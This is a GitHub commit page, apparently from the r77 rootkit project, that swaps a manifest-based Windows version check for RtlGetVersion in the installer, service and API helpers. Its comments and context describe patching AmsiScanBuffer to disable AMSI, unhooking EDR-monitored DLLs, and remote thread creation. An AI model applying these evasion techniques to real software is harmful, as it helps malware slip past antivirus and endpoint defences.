Skip to content

Commit 054eacd

Browse files
author
bytecode77
committed
Use RtlGetVersion to retrieve windows version
1 parent f58515c commit 054eacd

File tree

8 files changed

+34
-50
lines changed

8 files changed

+34
-50
lines changed

Install/Install.c

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -63,8 +63,8 @@ LPWSTR GetPowershellCommand(BOOL is64Bit)
6363
// [Reflection.Assembly]::Load triggers AMSI and the byte[] with Stager.exe is passed to AV for analysis.
6464
// AMSI must be disabled for the entire process, because both powershell and .NET itself implement AMSI.
6565

66-
// AMSI is only supported on Windows 10.
67-
if (R77_IsWindows10OrGreater())
66+
// AMSI is only supported on Windows 10; AMSI bypass not required for Windows 7.
67+
if (IsAtLeastWindows10())
6868
{
6969
// Patch amsi.dll!AmsiScanBuffer prior to [Reflection.Assembly]::Load.
7070
// Do not use Add-Type, because it will invoke csc.exe and compile a C# DLL to disk.

Install/Install.vcxproj

Lines changed: 4 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -76,7 +76,8 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build"
7676
"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" -shellcodeinstaller "$(SolutionDir)\"</Command>
7777
</PostBuildEvent>
7878
<Manifest>
79-
<AdditionalManifestFiles>app.manifest</AdditionalManifestFiles>
79+
<AdditionalManifestFiles>
80+
</AdditionalManifestFiles>
8081
</Manifest>
8182
</ItemDefinitionGroup>
8283
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
@@ -110,7 +111,8 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build"
110111
"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" -shellcodeinstaller "$(SolutionDir)\"</Command>
111112
</PostBuildEvent>
112113
<Manifest>
113-
<AdditionalManifestFiles>app.manifest</AdditionalManifestFiles>
114+
<AdditionalManifestFiles>
115+
</AdditionalManifestFiles>
114116
</Manifest>
115117
</ItemDefinitionGroup>
116118
<ItemGroup>
@@ -120,9 +122,6 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build"
120122
<ItemGroup>
121123
<ResourceCompile Include="Resource.rc" />
122124
</ItemGroup>
123-
<ItemGroup>
124-
<Manifest Include="app.manifest" />
125-
</ItemGroup>
126125
<ItemGroup>
127126
<ClCompile Include="Install.c" />
128127
</ItemGroup>

Install/Install.vcxproj.filters

Lines changed: 0 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -12,9 +12,6 @@
1212
<ItemGroup>
1313
<ResourceCompile Include="Resource.rc" />
1414
</ItemGroup>
15-
<ItemGroup>
16-
<Manifest Include="app.manifest" />
17-
</ItemGroup>
1815
<ItemGroup>
1916
<ClCompile Include="Install.c" />
2017
</ItemGroup>

Install/app.manifest

Lines changed: 0 additions & 24 deletions
This file was deleted.

Service/Service.c

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@ int main()
1212
{
1313
// Unhook DLL's that are monitored by EDR.
1414
UnhookDll(L"ntdll.dll");
15-
if (R77_IsWindows10OrGreater() || BITNESS(64))
15+
if (BITNESS(64) || IsAtLeastWindows10())
1616
{
1717
// Unhooking kernel32.dll on Windows 7 x86 fails.
1818
//TODO: Find out why unhooking kernel32.dll on Windows 7 x86 fails.

r77api/ntdll.h

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -650,6 +650,7 @@ typedef BOOL(WINAPI *NT_ENUMSERVICESSTATUSEXW)(SC_HANDLE serviceManager, SC_ENUM
650650
typedef NTSTATUS(NTAPI *NT_NTDEVICEIOCONTROLFILE)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID outputBuffer, ULONG outputBufferLength);
651651
typedef NTSTATUS(NTAPI *NT_NTQUERYOBJECT)(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength);
652652
typedef NTSTATUS(NTAPI *NT_NTCREATETHREADEX)(PHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer);
653+
typedef NTSTATUS(NTAPI *NT_RTLGETVERSION)(PRTL_OSVERSIONINFOW versionInformation);
653654
typedef NTSTATUS(NTAPI *NT_RTLADJUSTPRIVILEGE)(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue);
654655
typedef NTSTATUS(NTAPI *NT_RTLSETPROCESSISCRITICAL)(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb);
655656
typedef DWORD(NTAPI *NT_NTFLUSHINSTRUCTIONCACHE)(HANDLE process, LPVOID baseAddress, ULONG size);

r77api/r77win.c

Lines changed: 17 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -109,6 +109,19 @@ BOOL Is64BitOperatingSystem()
109109
BOOL wow64 = FALSE;
110110
return BITNESS(64) || IsWow64Process(GetCurrentProcess(), &wow64) && wow64;
111111
}
112+
BOOL IsAtLeastWindows10()
113+
{
114+
RTL_OSVERSIONINFOW versionInfo;
115+
versionInfo.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOW);
116+
117+
// Unlike GetVersionEx, RtlGetVersion returns the actual windows version regardless of executable manifest.
118+
if (NT_SUCCESS(R77_RtlGetVersion(&versionInfo)))
119+
{
120+
return versionInfo.dwMajorVersion >= 10;
121+
}
122+
123+
return FALSE;
124+
}
112125
BOOL Is64BitProcess(DWORD processId, LPBOOL is64Bit)
113126
{
114127
BOOL result = FALSE;
@@ -890,25 +903,15 @@ NTSTATUS NTAPI R77_NtCreateThreadEx(PHANDLE thread, ACCESS_MASK desiredAccess, L
890903
// CreateRemoteThread does not work across sessions in Windows 7.
891904
return ((NT_NTCREATETHREADEX)GetFunction("ntdll.dll", "NtCreateThreadEx"))(thread, desiredAccess, objectAttributes, processHandle, startAddress, parameter, flags, stackZeroBits, sizeOfStackCommit, sizeOfStackReserve, bytesBuffer);
892905
}
906+
NTSTATUS NTAPI R77_RtlGetVersion(PRTL_OSVERSIONINFOW versionInformation)
907+
{
908+
return ((NT_RTLGETVERSION)GetFunction("ntdll.dll", "RtlGetVersion"))(versionInformation);
909+
}
893910
NTSTATUS NTAPI R77_RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue)
894911
{
895912
return ((NT_RTLADJUSTPRIVILEGE)GetFunction("ntdll.dll", "RtlAdjustPrivilege"))(privilege, enablePrivilege, isThreadPrivilege, previousValue);
896913
}
897914
NTSTATUS NTAPI R77_RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb)
898915
{
899916
return ((NT_RTLSETPROCESSISCRITICAL)GetFunction("ntdll.dll", "RtlSetProcessIsCritical"))(newIsCritical, oldIsCritical, needScb);
900-
}
901-
BOOL R77_IsWindows10OrGreater()
902-
{
903-
// This function must re-written in order to be compatible with /NODEFAULTLIB
904-
905-
OSVERSIONINFOEXW versionInfo;
906-
i_memset(&versionInfo, 0, sizeof(OSVERSIONINFOEXW));
907-
versionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXW);
908-
versionInfo.dwMajorVersion = HIBYTE(_WIN32_WINNT_WIN10);
909-
versionInfo.dwMinorVersion = LOBYTE(_WIN32_WINNT_WIN10);
910-
versionInfo.wServicePackMajor = 0;
911-
912-
DWORDLONG conditionMask = VerSetConditionMask(VerSetConditionMask(VerSetConditionMask(0, VER_MAJORVERSION, VER_GREATER_EQUAL), VER_MINORVERSION, VER_GREATER_EQUAL), VER_SERVICEPACKMAJOR, VER_GREATER_EQUAL);
913-
return VerifyVersionInfoW(&versionInfo, VER_MAJORVERSION | VER_MINORVERSION | VER_SERVICEPACKMAJOR, conditionMask) != FALSE;
914917
}

r77api/r77win.h

Lines changed: 9 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -54,6 +54,14 @@ VOID Int32ToStrW(LONG value, PWCHAR buffer);
5454
/// </returns>
5555
BOOL Is64BitOperatingSystem();
5656
/// <summary>
57+
/// Determines whether at Windows 10 or greater is installed. This function uses the NT API and does not rely on a manifest file.
58+
/// </summary>
59+
/// <returns>
60+
/// TRUE, if Windows 10 or above is installed;
61+
/// otherwise, FALSE.
62+
/// </returns>
63+
BOOL IsAtLeastWindows10();
64+
/// <summary>
5765
/// Determines whether a process is a 64-bit process.
5866
/// </summary>
5967
/// <param name="processId">The process ID to check.</param>
@@ -278,8 +286,8 @@ VOID UnhookDll(LPCWSTR name);
278286

279287
NTSTATUS NTAPI R77_NtQueryObject(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength);
280288
NTSTATUS NTAPI R77_NtCreateThreadEx(PHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer);
289+
NTSTATUS NTAPI R77_RtlGetVersion(PRTL_OSVERSIONINFOW versionInformation);
281290
NTSTATUS NTAPI R77_RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue);
282291
NTSTATUS NTAPI R77_RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb);
283-
BOOL R77_IsWindows10OrGreater();
284292

285293
#endif

0 commit comments

Comments
 (0)